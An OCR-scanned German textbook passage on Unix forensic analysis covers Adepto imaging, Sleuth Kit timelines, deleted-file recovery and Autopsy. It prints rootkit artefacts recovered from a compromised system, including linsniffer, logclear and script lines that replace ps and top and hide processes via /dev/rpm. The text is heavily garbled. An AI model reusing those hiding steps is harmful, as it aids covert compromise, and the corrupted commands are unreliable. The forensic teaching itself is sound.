Input BS: O Output BS:

o Count: I
Seek: I Skip: Cony: Iiil

Start... | Stop... |

Progress

iSet your options and click Start
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Oder Ubertragung via Netcat:

Abb. 7-11
Ubertragung iiber Netcat

File Help

Start | Device Info IAcquire | Festore/Clone | Loy | Chiain of Custoc |

— 3ource Information

Source Device: gsda1 sdal: Hitachi
Model: HTS54809804
Size: 410 119791

Irnage Mame: ;adaﬂ -imnig.dd

Image Motes: i

— Destination Information

Destination: - Attached - Methios 4 Metcat

IF: [10.34 256.2

— Options
Type: @ DOFLOD - AFF Hashi gHasse ~|59‘3me”‘(“"3}5i 3

4 Use Advanced Options

Advanced

Input BS: |32766 Output BS: |32765 Count: I
Seek: | Skip: Cor; l.‘.!:

Start... | Stop... |

’, Progress

|Set your options and click Start

Auf Wunsch wird am Ende fiir jedes erstellte forensische Duplikat
automatisch ein Beweiszettel als PDF-Datei erzeugt.

Die von Adepto erstellte Protokolldatei enthilt alle fiir die liicken-
lose Beschreibung des Dupliziervorgangs benoétigten Informationen.
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] Adepto 2.0/ (To Gbtain, Get, Acquire) X |
File Help

Start | Device Info | Acouire | Restore/Clone | Log

Ad on Sun De 07

B T L T S s D D L S L T
# 1] T #
A A A R A A A A A R AR A AR R AR AR AR R AR AR AR AR AR R R

Add Comment to Log...

Progress

Adepto Log File

7.1.3  Manuelle P.m.-Analyse der Images

Timeline-Analyse mit dem Sleuth Kit

Wie bereits beschrieben, helfen Timeline-Analysen einem Ermittler
herauszufinden, welchen » Weg« der Angreifer durch das Dateisystem
genommen hat. Diese Erkenntnis gibt oft Hinweise, wo als Nachstes
nach verdichtigen Dateien zu suchen ist.

Die Erstellung einer Timeline mit dem Sleuth Kit erfolgt in drei
Schritten:

1. Sammlung der Dateiinformationen
2. Sammlung der Metadaten
3. Gemeinsame Auswertung

Abb. 7-12

Adepto erstellt ein
ausfiihrliches Protokoll,
das sich in Ausziigen
direkt in den
Ermittlungsbericht
tibernehmen Idsst.
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1. Dateiinformationen ~ Mit dem Tool fIs werden die Daten gesammelt, die mit allozierten und

sammeln  unallozierten Bereichen zusammenhingen.

alex@whammy ~/sleuthkit-3.2.1/bin
$ ./f1s
usage: fls [-adDFlpruvV] [-f fstype] [-i imgtype] [-m dir/] [-o imgoffset] [-z Z
ONE] [-s seconds] image [images] [inode]

If [inode] is not given, the root directory is used

-a: Display "." and ".." entries

-d: Display deleted entries only

-D: Display only directories

-F: Display only files

-1: Display long version (like 1s -1)

-i imgtype: Format of image file (use '-i list' for supported types)

-f fstype: File system type (use '-f list' for supported types)

-m: Display output in mactime input format with

dir/ as the actual mount point of the image

-0 imgoffset: Offset into image file (in sectors)

-p: Display full path for each file

-r: Recurse on directory entries

-u: Display undeleted entries only

-v: verbose output to stderr

-V: Print version

-z: Time zone of original machine (i.e. EST5EDT or GMT) (only useful with -1)
seconds: Time skew of original machine (in seconds) (only useful with -1 & -m)
alex@whammy ~/sleuthkit-3.2.1/bin
$ ./fls -f Tist
Supported file system types:

ntfs (NTFS)

fat (FAT (Auto Detection))

ext (ExtX (Auto Detection))

1509660 (1509660 CD)

hfs (HFS+)

ufs (UFS (Auto Detection))

raw (Raw Data)

swap (Swap Space)

fatl2 (FAT12)

fatl6 (FAT16)

fat32 (FAT32)

ext2 (Ext2)

ext3 (Ext3)

ufsl (UFS1)

ufs2 (UFS2)

1
wn

Abb. 7-13 Parameter von fls

Die Option -r sollte verwendet werden, damit der gesamte Verzeich-
nisbaum durchlaufen wird. Mit der Option -m wird der Mountpoint

des Dateisystems angegeben:

# f1s -f linux-ext2 -m / -r /mnt/images/hda8.dd > body.fls
# fls -f linux-ext2 -m /var/ -r /mnt/images/hda7.dd >> body.fls
# cat body.fls



Lizenziert fur 2109487.
© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielfaltigung.

7.1 Forensische Analyse unter Unix

225

0]/Tost+found|0]11]|16877|d/drwxr-xr-x|2]|0]|0]0|12288
1984736992 | 984654567 | 984654567 | 1024 |0

0| /boot |0]4017| 16877 |d/drwxr-xr-x| 2| 0] 0] 0| 1024|9846
54599|984654599 9846545991024 |0

0| /home|0|8033| 16877 |d /druxr-xr-x|2|0]0|0] 1024|9846
54599984654599|984654599|1024 |0

0] /usr|0|12049|16877|d/drwxr-xr-x|2|0|0]|0|1024|9846
54600|984654600 9846546001024 |0
0|/var|0|16065|16877 |d/drwxr-xr-x|2|0|0|0|1024|9846
54600 984654600 9846546001024 |0
0|/proc|0|20081|16877 |d/drwxr-xr-x|2]0]0|0] 1024|9846
54600 984654600|984654600|1024 |0
0]/tmp|0]|22089|17407 |d/drwxrwxrwt|3]0|0]0]1024]98473
7018]984754122| 984754122 | 10240
0|/tmp/install.l0g|0]22090|33188|-/-rw-r--r--|1|0|0|
05682 | 984654603 | 984655185 | 984655185 1024| 0
0|/tmp/.font-unix|0|60256|17407 |d/drwxrwxrwt |2|43|43|
0]1024|984676976| 984676976 | 984737018 | 1024 |0

0] /tmp/.font-unix/fs-1]0]60257|49663]-/srwxrwxrwx|1|43
[43]0]0]984676976| 984676976 | 984676976 | 1024 |0

[.]

Werden die Images read-only auf dem Analysesystem gemountet, kann
man diese Untersuchung auch mit mac-robber durchfithren. Dies ist
immer dann sinnvoll, wenn die Analyseplattform oder das verdachtige
Dateisystem von Sleuth Kit nicht unterstiitzt werden (z.B. bei AIX):

$. /mac-robber
usage: ./mac-robber [-V] <directories>
-V: Print the version to stdout

$./mac-robber /bin

class|host|start_time

body. f1s |audit3| 1054412206
md5|file|st_dev|st_ino|st mode|st Ts|st_nlink|st uid|st_gid|st_rdev|st size|st
_atime|st_mtime|st_

ctime|st_blksize|st_blocks
0]/bin/dnsdomainname|773|1058945|41471|1rwxrwxrwx ->
hostname|1]0]0]0|8| 1051875729 | 1051863879 | 1051863879]4096 |0
0]/bin/ping|773]1058934|35309|-rwsr-xr-

x|1/0]0|0] 28628 | 1054283494 | 1043465554 | 1051863875 | 4096 | 56
0| /bin/mktemp|773|1058942|33261| -rwxr-xr-

x| 1]0/0]0|4124| 1054388614 | 1043471712 | 1051863878 | 4096 | 16
0]/bin/mount|773|1058943|35309 | -rwsr-xr-

x| 1]0]0]0]68508 | 1053328441 | 1046131903 | 1051863878 | 4096 | 144
0| /bin/umount|773|1058944|35309 | -rwsr-xr-
x|1/0]0|0]30816| 1053328367 | 1046131903 | 1051863878 | 4096 | 64

Mit dem Tool ils konnen die Daten, die mit unallozierten Bereichen
verkniipft sind, wiederhergestellt werden.

2. Metadaten sammeln
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alex@whammy ~/sleuthkit-3.2.1/bin
$ ./ils
usage: ils [-emOpvV] [-aAlLzZ] [-f fstype] [-i imgtype] [-o imgoffset] [-s seconds] image [images] [inum[-end]]
-e: Display all inodes
-m: Display output in the mactime format
-0: Display inodes that are unallocated, but were sill open (UFS/ExtX only)
-p: Display orphan inodes (unallocated with no file name)
-s seconds: Time skew of original machine (in seconds)
-a: Allocated inodes
-A: Unallocated inodes
-1: Linked inodes
-L: Unlinked inodes
-z: Unused inodes (ctime is 0)
Z: Used inodes (ctime is not 0)
-i imgtype: The format of the image file (use '-i list' for supported types)
-f fstype: File system type (use '-f list' for supported types)
-0 imgoffset: The offset of the file system in the image (in sectors)
-v: verbose output to stderr
V: Display version number
alex@whammy ~/sleuthkit-3.0.1/bin
§ i1s -f Tist
Supported file system types:
ntfs (NTFS)
fat (FAT (Auto Detection))
ext (ExtX (Auto Detection))
1509660 (1509660 CD)
hfs (HFS+)
ufs (UFS (Auto Detection))
raw (Raw Data)
swap (Swap Space)
fat1l2 (FAT12)
fatle (FAT16)
fat32 (FAT32)
ext2 (Ext2)
ext3 (Ext3)
ufsl (UFS1)
ufs2 (UFS2)

Werden Dateien geloscht, wird bei vielen Betriebssystemen der Zeit-
stempel der Datei aktualisiert. Dies ermoglicht es, Loschvorginge zu
erkennen. Im Gegensatz zu fls zeigt ils Inode-Informationen an.

# i1s -f linux-ext2 -m /mnt/images/hda8.dd > body.fls

# ils -f linux-ext2 -m /mnt/images/hda7.dd >> body.f1s

# cat body.fls

class|host|start_time

body.f1s|auditl]1054460530

md5|file|st_dev|st_ino|st mode|st_Ts|st_nlink|st_uid|st_gid|st_rdev|st size|st
_atime|st_mtime|

st_ctime|st_blksize|st_blocks

0|<hda8.dd-alive-1>|0|1]0]---=-=----

[0]0]0]0] 0984654567 | 984654567 | 984654567 | 10240
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0|<hda8.dd-dead-23>|023|33188] -rw-r--r--
[0]0]0]0]520333|984707090| 984706608 | 984707105 | 1024] 0
0|<hda8.dd-dead-2038>|0|2038| 16877 | drwxr-xr-
x|0]1031|100|0]0]984707105|984707105| 984707105 102
4|0

0|<hda8.dd-dead-2039>|0|2039|33261 | -rwxr-xr-
x|0/0]0]0]611931]984707090| 1013173693 | 984707105 | 10
2410

0|<hda8.dd-dead-2040>|0|2040|33188 | -rw-r--r--
[0]0]0]0|1|984707090 |983201398 | 984707105 | 1024 |0
0|<hda8. dd-dead-2041>| 0| 2041 | 33216 -rwx------
[00]0]0]3713|984707105| 983588917 | 984707105 | 1024 |
0

Das Tool mactime sortiert die nun erstellten Daten und bringt sie in 3. Gemeinsame
eine lesbare Form. Auswertung

$./mactime —help
mactime [-b body file] [-p password file] [-g group_file] [-hVy] [-z TIME_ZONE]
[DATE]
-b: Specifies the body file location, else STDIN is used
-h: Display a header with session information
-i: Specifies the index file with a summary of results
-g: Specifies the group file location, else GIDs are used
-p: Specifies the password file Tocation, else UIDs are used
-V: Prints the version to STDOUT
-y: Dates have year first (yyyy/mm/dd) instead of (mm/dd/yyyy)
-z: Specify the timezone the data came from (in the local system format)
[DATE]: starting date (01/01/2002) or range (01/01/2001-02/01/2002)

Durch die Auswertung der Daten von ils und fls bekommt man einen
sehr guten datei-, aber auch Inode-bezogenen Uberblick iiber die Akti-
vitaten auf dem Dateisystem in einem bestimmten Zeitabschnitt. Es
sollten immer die Ausgaben von ils und fIs verarbeitet werden, da die
dateibezogene Auswertung mit fIs in einigen Fillen geloschte Dateien
»tbersieht«. Der folgende Befehl zeigt die Timeline auf dem »/«-Datei-
system hda8 ab dem 1. Mirz 2002 an:

#./mactime b body.f1s 03/01/2002

[.]
Fri Mar 16 2001 02:44:50

3072 m.c d/drwxr-xr-x 0 0 26105 /etc

79 .a. -rwxr-xr-x 0 0 2045 <hda8.dd-dead-2045>
8268 ..c -rwx------ 0 0 2053 <hda8.dd-dead-2053>
11407 .a. -rw-r--r-- 0 0 2046 <hda8.dd-dead-2046>
3278 .a. -rw-r--r-- 0 0 2044 <hda8.dd-dead-2044>

Fri Mar 16 2001 02:45:05
3278 ..c -rw-r--r-- 0
3713 .ac -rwx------ 0

20333 ..c -/-rw-r--r-- 0
880 ..c -rw-r--r-- 0
796 mac -rw-r--r-- 0

611931 ..c -rwxr-xr-x 0

2044 <hda8.dd-dead-2044>
2041  <hda8.dd-dead-2041>
23 /1k.tgz (deleted)
2048  <hda8.dd-dead-2048>
2042  <hda8.dd-dead-2042>
2039  <hda8.dd-dead-2039>

O O O O o o
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Geldschte Dateien

identifizieren

Dateien wiederherstellen

0 mac d/drwxr-xr-x 1031 100 2038 /last (deleted)

[.]

bhda8-dead steht fiir unallozierte Inodes.

Analyse von geloschten Dateien mit dem Sleuth Kit

Mochte man die Namen aller geloschten Dateien eines Verzeichnisses
analysieren, kann das mit fIs durchgefithrt werden. Fiir das rekursive
Durchsuchen der Images wird Option -r verwendet, -d bewirkt, dass
nur die geloschten Objekte angezeigt werden:

# ./fls -rd /mnt/images/hda8.dd

r/r * 22103: tmp/ccypSy1G.c

r/r * 22104: tmp/ccM1STTd. 0

r/r * 22105: tmp/ccsQgrMK. 1d

r/r * 22106: tmp/ccbbVjdg.c

r/r * 22107: tmp/ccSZCabn.o

r/r * 22108: tmp/ccRD854u. 1d

r/r * 38330(realloc): etc/X11/fs/config-

1/r * 4060(realloc): etc/rc.d/rc0.d/K83ypbind
1/d * 8097: etc/rc.d/rcl.d/K83ypbind
1/1 * 12107: etc/rc.d/rc2.d/K83ypbind
1/r * 16132(realloc): etc/rc.d/rc3.d/K83ypbind
1/1 * 20883: etc/rc.d/rc4.d/K83ypbind
1/1 * 28172: etc/rc.d/rc5.d/K83ypbind
1/1 * 32184(realloc): etc/rc.d/rc6.d/K83ypbind
r/r * 16115(realloc): etc/pam.d/passwd-

r/r * 26478(realloc): etc/mtab.tmp

r/r * 26461(realloc): etc/mtab~

r/r * 23: Tk.tgz

d/d * 2038: last

Das erste Zeichen in der Ausgabe gibt an, ob es sich bei dem gelosch-
ten Objekt um eine Datei (r), einen Link (1) oder ein Verzeichnis (d)
handelt. Das dritte Feld zeigt den zugehorigen Inode an. Man kennt
jetzt den vollen Pfadnamen und den Inode des geloschten Objekts. Ist
auf dem System nach dem Loschvorgang keine grofse Aktivitat zu ver-
zeichnen gewesen, kann man nun versuchen, die geloschten Dateien
wiederherzustellen.

Mochte man nun eine bestimmte Datei wiederherstellen, ldsst man
sich mit istat die Objektgrofle und die zugehorigen Blocke anzeigen:

# ./istat /mnt/images/hda8.dd 26461
inode: 26461

Allocated

Group: 13

uid / gid: 0/ 0

mode: -rw-r--r--

size: 71

num of Tinks: 1
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Inode Times:
Accessed:

File Modified:
Inode Modified:

Direct Blocks:
107913

oder

Fri Mar 16 02:
Fri Mar 16 02:
Fri Mar 16 02:

# ./istat /mnt/images/hda8.dd

inode: 23

Not Allocated
Group: 0

uid / gid: 0 / 0
mode: -rw-r--r--
size: 520333

num of links: 0

Inode Times:
Accessed:

File Modified:
Inode Modified:
Deleted:

Direct Blocks:

Fri Mar 16 02:
Fri Mar 16 02:
Fri Mar 16 02:
Fri Mar 16 02:

45
45
45

44
36
45
45

307 308 309 310 311 312 313 314
315 316 317 318 320 321 322 323

:02 2001
:02 2001
:02 2001

:50 2001
:48 2001
:05 2001
:05 2001

Nun kann der Inhalt der jeweiligen Inodes wiederhergestellt werden:

#./icat hda8.dd 23 > /mnt/forensic_flash/data/inode23 1k.tgz
#./file /mt/forensic_flsh/data/inode_Tk.tgz

inonde23 Tk.tgz: gzip compressed data, from Unix

Oder er kann einer String-Analyse unterzogen werden, um den Inhalt

einzusehen:

# ./icat /mnt/images/hda8.dd 26461 |strings

s12

sshdu
Tinsniffer
smurf
slice

3 mech

3 muh

3 bnc

3 psybnc

w W W w w

Suche mit Bordmitteln

Stehen einem Ermittler keine speziellen forensischen Werkzeuge zur
Verfiigung, kann auch mit herkommlichen Unix-Werkzeugen gearbei-
tet werden. Das forensische Duplikat eines verdachtigen Datentrigers
kann dann in Abhingigkeit der Unix-Kenntnisse des Ermittlers nach
Belieben analysiert werden. Es ist aber unbedingt darauf zu achten,
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dass eingegebene Befehle protokolliert und die erzeugten Ergebnisse
mit Priiffsummen versehen werden.

Die folgende Befehlskette sucht in einem Festplatten-Image nach
IP-Adressen und gibt das Ergebnis auf der Kommandozeile aus:

# strings -a -t d hda8.dd | grep -i -E
'[0-2]?[[:digit:]1]1{1,2}\.[0-2]?[[:digit:]]{1,2}\.[0-2]?[[:digit:]1]{1,2}\.[0-2]?[[:digit:]1]{1,2}"

7.1.4 P.m.-Analyse der Images mit Autopsy

Den Autopsy Forensic Browser startet man auf der Kommandozeile.
In der Standardkonfiguration offnet Autopsy den Port 9999 und lisst
nur Browserverbindungen von 127.0.0.1 zu. Der Zugriff erfolgt iiber
die beim Start generierte, mit einer Session-ID versehene URL. Man
kann nun mit jedem WWW-Browser auf die angegebene URL zugrei-
fen. JavaScript oder Java werden nicht benotigt.

alex@whammy ~/autopsy-2.24
$ ./autopsy

Autopsy Forensic Browser
http://www.sleuthkit.org/autopsy/
ver 2.24

Evidence Locker: /home/alex/cases

CYGWIN Mode (Internal path contains /bin, /usr/bin, and /usr/local/bin)

Start Time: Sun May 29 19:19:17 2011

Remote Host: Tocalhost

Local Port: 9999

Open an HTML browser on the remote host and paste this URL in it:
http://localhost:9999/autopsy

Keep this process running and use <ctrl-c> to exit

Abb. 7-14 Startvon Autopsy

Alle Parameter konnen beim Start gedndert werden. Ebenso kann ein
anderes Case-Verzeichnis definiert werden. Dies ermoglicht es, auf
einem Analysesystem mehrere Fille gleichzeitig von unterschiedlichen
Ermittlern bearbeiten zu lassen.

Uber das Startmenii kann man einen vorhandenen Case weiterbe-
arbeiten oder einen neuen anlegen.
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54 Open A Case~ Mozilla {Buld 1: 2002121 218] [=1E Abb. 7-15
File Edit ¥iew Go Bookmarks Tools Window Help Debug QA ”
Case-Gallery von
@ O @ O ‘% hitp://localhost.0666/1667 329636221 065837 /autopsy Flunc=112 | [G\ Search ] C‘go .
2 = - Autopsy Version 2
ij[ % Open A& Case ] =3
CASE GALLERY
Hame Description
& casel bko-2032/02 detalls
OK NEW CASE MAIN MENU
HELP

In der Case-Gallery kann man jedem Fall mehrere Hosts zuordnen. Zu
jedem Ermittlungsfall konnen mehrere Ermittler definiert werden,
denen dann ein Analysetask zugeordnet werden kann. In der Logdatei
und auch in den wihrend der Ermittlung erstellten Notes ist ersicht-
lich, welcher Ermittler mit dem Image gearbeitet hat. Im Hostmanager
werden dann jedem Host mehrere Dateisystem-Images zugeordnet:

ADD A NEW IMAGE Abb. 7-16
Zuordnung eines neuen

Image im Hostmanager

Image Location (starting with /) [forensic_methda5. dd
Import Method: & Symlink to Evidence Locker
© Copy to Evidence Locker
T Move to Evidence Locker (Warning:

image loss could accur during a system
failure)
File System Type: fbsdi......
Mounting point: E:td'
fatl2
F fatlg
Image Integrity Cher a3z
Calculate Now: If’aEhSd
inux-ext2
Igrore:  linus-ext3
Add: nifs

MD5:

von Autopsy Version 2

(i.e. MD5)

solaris

M \erify MDS After Importing?

Bei der Zuordnung der jeweiligen Festplatten-Images definiert man
den Typ des Dateisystems, den originalen Mountpoint auf dem
gehackten System und eventuell bereits vorhandene Priifsummen.
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Abb.7-17
A . ht ” . PC . File Edit View Go Bookmarks Tools Window Help
nsicnt aller einem =
Zugeordneten ImageS Im OQ O O Q ‘% http:/flocalhost:9999/5770549943323996336/autopsy Pfunc=119¢ I [G\Semch l ‘::go
)
Hostmanager von [ Open mage In caseL:pc-7802 ] O
Autopsy Version 2 Tt
CASE GALLERY HOST GALLERY HOST MANAGER
mount name

/ [ images/hda8 details

fef (o images/hdas details

/mnt/flash/ (gl images/hda4 details

J[var/ (o images/hda7 details

OK ADD IMAGE CLose Host
HELP
Abb.7-18
A ige di ¢ FILE ACTIVITY TIME LINES IMAGE INTEGRITY HASH DATABASES
nzelge es gesam en VIEW NOTES EVENT SEQUENCER
Dateisystems und Inhalts
der Dateien mit | 28 B & E=py

Autopsy Version 2

casel.
Flle Edit Miew Go Bookmarks Tools Window Help Debug QA

O o @ Q [ ntp:nocaihost G88a/543251 9441 BRZ263292/autopsy Punc=2&mode=1 Aacasta | (G Seareh | C:f

£l | % casel:pc-7802:imagesihdal ] B
FILE ANALYSIS = KEYWORD SEARCH FILETYPE IMAGE DETAILS META DATA Data UNIT HeELr CLOSE
(A 7 X
e Pe
ALL DELETED FILES /dev/ida/ .drag-on/ ADDNoTE GENERATE MDS5 LisT oF FiLES ]
Type
T, DeL Wit i MNAME L MopDiFiED ACCESSED CHANGED Sze UID GID MeTa s
| did i 2001 .03.16 2001.03.16 2001.03.16 12288 a o 20029 B
{ = 00:45:02 (GMT) 09:03:33 (GMT) 004502 (GMT)
+/Llost+found did Rt 2001 0316 20010316 2001.03.16 1024 a o B0259
+/boot 00:45:03 (GMT) 09:03:33 (GMT) 004503 (GMT)
el rir  linsniffer 2001 0316 2001.03.16 2001.03.16 7I6s 0 i 60261 [
:f—g;i 00:45:02 (GMT)  D0:45.03 (GMT)  00:45:02 (GMT)
+/proc L rir logclear 2001 .03.16 2001.03.16 2001.03.16 75 a o GO262
£/t 00:45:02 (GMT) 00:45:02 {GMT 00:45:02 {GMT)
++7_fonk-unix riv mkxfs 2001 03.16 2001.03.16 2001.03.16 632085 0 i 50265
+fdew 00:45:02 (GMT) 00:45.03 (GMT) 00:45:02 (GMT)
++ida rir =1 2001 .03.16 2001.03.16 2001.03.16 O 1] o BO266 =
ot i dracr—on N-d 5-N2 £ EMTY N-A5-N% FRMTY NA5-N2 FEMTY L
el
Al f;gts ASCI (display - report) * Strings (display - report) * Export * Add Note
e File Type: ASCI text
++ird
Hiet
++/profile. d Py
w411 GContents Of File: /dev/ida/ drag-on/tcp. log =
+++/applnk
++++ /U1l tdes
++++Tnternet
+++ Sy ten =
e ffs cr2T2065-a. wlfdlel. on. wave home. com => asdfl [21] =
++/default
+fre.d ] ----- [Timed out]
wrfinit o d
+++ el d ||| nsl. giant. net =» asdfl [23]
+++/rel d ¥|| da#da, ~dal~daledale #'da|~dace|daneda~? —
[ 3 -
=R
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Nachdem alle Images hinzugefiigt wurden, kann man sich, gefithrt
durch die verschiedenen HTML-Meniis, der Analyse widmen. Es wer-
den alle Ebenen der Analyse des Sleuth Kit im Autopsy Forensic Brow-
ser unterstiitzt, d.h., man kann sich sowohl auf Dateiebene, Meta-
ebene als auch auf Datenebene durch das Image bewegen. Die Option
»File Analysis« ermoglicht das Durchbrowsen der Verzeichnisstruktur
und die Anzeige aller geloschten Dateien und Verzeichnisse. Stofst man
auf eine Datei von Interesse, kann man sich sofort durch alle Ebenen
des Dateisystems bis hinunter auf die Datenblocke bewegen.
Die Dateityp-Analyse ermdglicht die Zuordnung der im Image
gefundenen Dateien zu einzelnen Gruppen. Auf diese Weise kann man  Abb. 7-19
sich im Rahmen eines ersten Uberblicks mit der Sachlage vertraut Ergebnis der Dateityp-
machen. Analyse mit
Autopsy Version 2

[EE sorter output - Mozilla {Build ID: 2003120808} o ] |
. File Edit Wew Go Bookmarks Tools Window Help Debug QA |

” @ Q @ O | file:/ffcases/fd-1/AC1 foutput/sorter-image finde:x. html I c:go

|

i[ % sorter output ] |

sorter output

Images
* jrases/ffd-1/AC1fimagesfimage
Files (7}

* Allocated (3)
* Unallocated (4)

Files Skipped (3}

* Non-Files (3)
* 'ignore’ category (0)

Extensions
* Extension Mismatches (1)
Categories (4)

archive (1)
audio (0)
compress (0)
crypto (0)
data (0)

disk (0}
documents (23
exec (0)
images (0)
system (0}
text (0)
unknown (1)
video (0)

M = & ) & | bone | = [
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Mit der enthaltenen Suchfunktion kann der Ermittler in den auf dem

Image enthaltenen Dateien nach Schlisselwortern suchen. Hierbei

konnen auch regulire Ausdriicke tibergeben werden. Die Suche nach

IP-Adressen und Datumsangaben (fiir Logdateien interessant) ist

bereits als automatische Suche fest implementiert. Dies lasst sich um

Abb.7-20  die Suche nach E-Mail-Adressen erweitern. Der Ermittler kann auch
Suchergebnisnachdem  entscheiden, ob die Suche auf den unallozierten Bereich ausgeweitet

Wort »linsniffcmit ~ werden soll.

Autopsy Version 2

File Edit ¥iews Go Bookmarks Tools Window Help Debug Q&

OO O 0 O |% hitp://localhost8866/543251 9441862283292 /autopsy #lunc=2 &mod I[QSearch] ng

£} | % caselpe-7802:images/hdad ] |
FILE ANALYSIS = KEYWORD SEARCH FILETYPE IMAGE DETAILS META DATA DaTA UNIT HELr CLOSE
Oo 7 X

Fs
] 4m PREVIOUS NEXT =
20 occurrences of

linsniff* were found || EXPORT CONTENTS  ADD NOTE

9086 (Hex - Bk ASCI {display - report’ * Hex {display - report) * Strings (display - report)
- offset 207 bytes File Type: ASC text

- offset 808 bytes Fragment 9056

- offset 897 bytes Hot Allocated

- offset 986 bytes Graun |

9095 {Hex - Ascii .

2 foé%g bygls) ASCII Contents of Fragment 9086 (1024 bytes) in images/hdad

9102 {Hex - Ascil)
- offset 48 bytes

9118 (Hex - Ascii) v ps /hin/ps

- offset 402 bytes m -rf Susr/bindtop

9283 (Hex - Ascii) mv top Susc/bindtop

- offset 11 hytes cp -f mkxfs Ausc/shin/

- offset 53 bytes echo "+ Gata..." =
107813 {Hex - Ascii) echo -n "+ Dew... " i

- offset 16 bytes

248053 (Hes - saci) ||| o0

- offset 32 hytes touch fdev/

245053 { Hex - scii) ouc ev/Tpm

- offset 32 bytes »/dev/rpn

24B060 {Hex - Asciiy echo "3 512" »»/dev/rpm

- affset 589 bytes echo "3 sshdu" »:/dev/rpm m
246061 (Hex - Ascii) echo "3 linsniffer" »»/dev/rpm
- offset 11 hytes echo "3 smurf" »»/dev/rpm

- offzet 53 bytes echo "3 slice" »»/dev/rpm
246065 (Hex - Ascily echo "3 mech" »»/dev/rpm

- offset 402 bytes echo "3 muh" »»/dev/rpm

246708 (Hex - Ascil) echo "3 bne" »»/dev/rpm

- offset 589 hytes
246707 {Hex - Asciiy
-offset 11 bytes

echo "3 psybnc' »»> Sdevi/rpm
touch /dev/last

& »fdev/last
e echo "1 103.231.139" »>/dev/last
- offset 402 bytes I=| echo "1 213 154 137" »:/dev/last —
- Tl echn "1 193 254 34" dew/1ast ! ! i
@ = @" D (cZ] http:.l’.l'loca]host:8888.!’5432519441882283_292.faut0...nknown&img=imagesmdaﬁ&mnt=!&b|ock=9088&30rt=0f —I= =5

Autopsy ermoglicht es einem Ermittler, das Dateisystem auch auf der
Metadaten-Ebene zu analysieren. Jeder einzelne Inode kann somit
untersucht werden. Dabei wird immer angezeigt, ob der gerade unter-
suchte Inode alloziert ist oder nicht. In dieser Ubersicht, die sich kom-
plett in den Report tibernehmen lisst, kann man die MAC-Time des
Inode, dessen Zugriffsrechte und die belegten Blocke analysieren. Es
ist aber jederzeit moglich, in das »File Analysis«<-Menti bzw. in die
Datenebene zu wechseln, um die Suche dort fortzusetzen.
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£ Casel:pc.7802-images/hdas - Wozilla (Build ID: 2002121218] Abb. 7-21
Eile Edit View Go Bookmarks Tools Window Help Debug QA
OO O Q O [ nitpniocalnost6RB6/543251 94418622032 92/autopsy Tunc=2&mode-645castd | (€ Seareh | Cigo A.nzelge der Metadaten
eines Inode

£} [ % casel:pe-7B0Zimagesihdad | (%]

FILE ANALYSIS = KEYWORD SEARCH FILETYPE IMAGE DETAILS META DATA DATA UNIT HeEwr  CLOSE
O ? X

Inode Humber: 4mPREVIOUS NEXT =

2z

REPORT VIEW C EXPORT ADD N
OK Pointed to by file:
71k, Lz (delete)

o = File Type:

s2ip campressed oata, from Linix s

MDS:
115£438631de8d0aTc03c94458eb7257
Details:

inodle: 23
ot allocated
uie £ giek: 0 (0
Totle: 1t -
size: 520333
rum of rks: 0

Inode Times:

Accessed: Fri Mar 16 00:44:50 2001

File: Modified: Fri Mar 16 00:36:46 2001
Inaele Modifiect: Fri Mar 16 00:45:05 2001
Deleted: Fri Mar 16 00:45:05 2001

Direct Blocks
207 305 308310 311 312 313 314

315 316 317 318 320 321 322 323
324 329 330

324 328 330
352 333 334 335 336 337 338 339

340 341 342 343 344 395 346 347
3

Ho D S e

Unter Verwendung des Tools mactime aus dem Sleuth Kit kann man
sich den gesamten zeitlichen Werdegang des Dateisystems betrachten.
Die in Abschnitt 6.12 beschriebenen Aktionen werden durch Autopsy
im Hintergrund durchgefihrt und dem Ermittler im Browserfenster
prasentiert. Alle dementsprechenden Optionen konnen aber bei Bedarf
konfiguriert werden: zu betrachtender Zeitraum, Zeitzone des ver-
dachtigen Dateisystems, eventuelle Abweichung der Uhrzeit, Passwd-
bzw. Group-Dateien etc. Man bekommt nun einen recht guten Uber-
blick, zu welchem Zeitpunkt eine Datei erstellt, verdndert oder
geloscht wurde. Der Weg eines Angreifers durch das System kann
quasi in Echtzeit nachvollzogen werden.

(Informationen (iber eine
geldschte Datei, MAC-
Time, Dateityp,
Zugriffsrechte, Grofe,
belegte Blocke etc.) mit
Autopsy Version 2
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Abb. 7-22
) . Fl\e Edit View Go Bookmarks Tools Window Help Debug GA
Timeline-Analyse
. . @0 @ @ Q [ % nttpnocalhost8a58/5432519441 862263292/ autopsy Ti=timelinea i | [, Search | C:Z
mit Autopsy Version 2
A{ % Timeline: casel.pc-7a02 1 =3
CREATE DATA FILE CREATE TIMELINE VIEW TIMELINE VIEW NoTES HeELr  CLOSE g
? X =
i-Feb 2001 Apr 2001 -»
Mar | |2001 oK
— S—— —
() R il o o 2052 <hdaB-dead-2052 » )
Fri Mar 16 2001 00:45:02 708 MG =f-rii=p=-t=- o 0 BO266  fdeviidal drag-onis
42736 W TWHERER o o 453284 <hdaB-clead-48284 »
B265 MAE  =f-tigemm—-n o o BO264  fdeviidal drag-onis2
12288 me  didrwsrwsr-s 0 0 20039 sdeviida
BI2066  me  -rwsr-sr-x n o BO265  sdeviidal drag-ornimk=Ts
4060 mae --rwEr-ErE o 0 BO263  sdeviidaldrag-onssense
34816 me  didrwse-st-s 0 o 24097 sdev
BO0B0 L o o o 30191 <hdaB-dead-30191 »
71 MAG  =/-F=r==t=- o 0 26461 Jdevirpm
2043 me  didrwsr-sr-s 0 0 30121 bin
7165 MAE  =/-tigem—-- o 1] BO263  fdeviidal. Ninsniffer
3072 me  didrwsr-sr-s 0 0 43193 sshin
35300 G =l-PWRr-Rr-R n o 2056 inhetstat
75 mae -f-rwE--—- o 0 BO262  sdev/idal.drag-ondogelear
BET36 G =PWRF-XF-X o o 30188 <hdaB-dead-30188 »
4060 mae -rwEr-EEE o o BO271  ddeviidal., fsense
540 L o 0 BO267 fdevidaldrag-onfssh_host_key
e D« I
7.1.5 Dateiwiederherstellung mit unrm und lazarus
Unallozierte  Mochte man den gesamten unallozierten Bereich eines Dateisystems
Dateisystembereiche ~ wiederherstellen, konnen die beiden Tools unrm und lazarus aus dem
wiederherstellen ~ TCT verwendet werden.
Abb.7-23 ev /hdas - Mozilla =] P}
HTML—DarstelIung des .| Fle Edt Wiew Go Bookmarks Tools Window  Help |

gesamten unallozierten
Bereichs mit unrm und

lazarus

@ Q @_ Q | + Imntfforensic_flashfdataflazarus_hdag html |[@g52an:h ] | c%go

& % Analysis of fdev/hdad W B

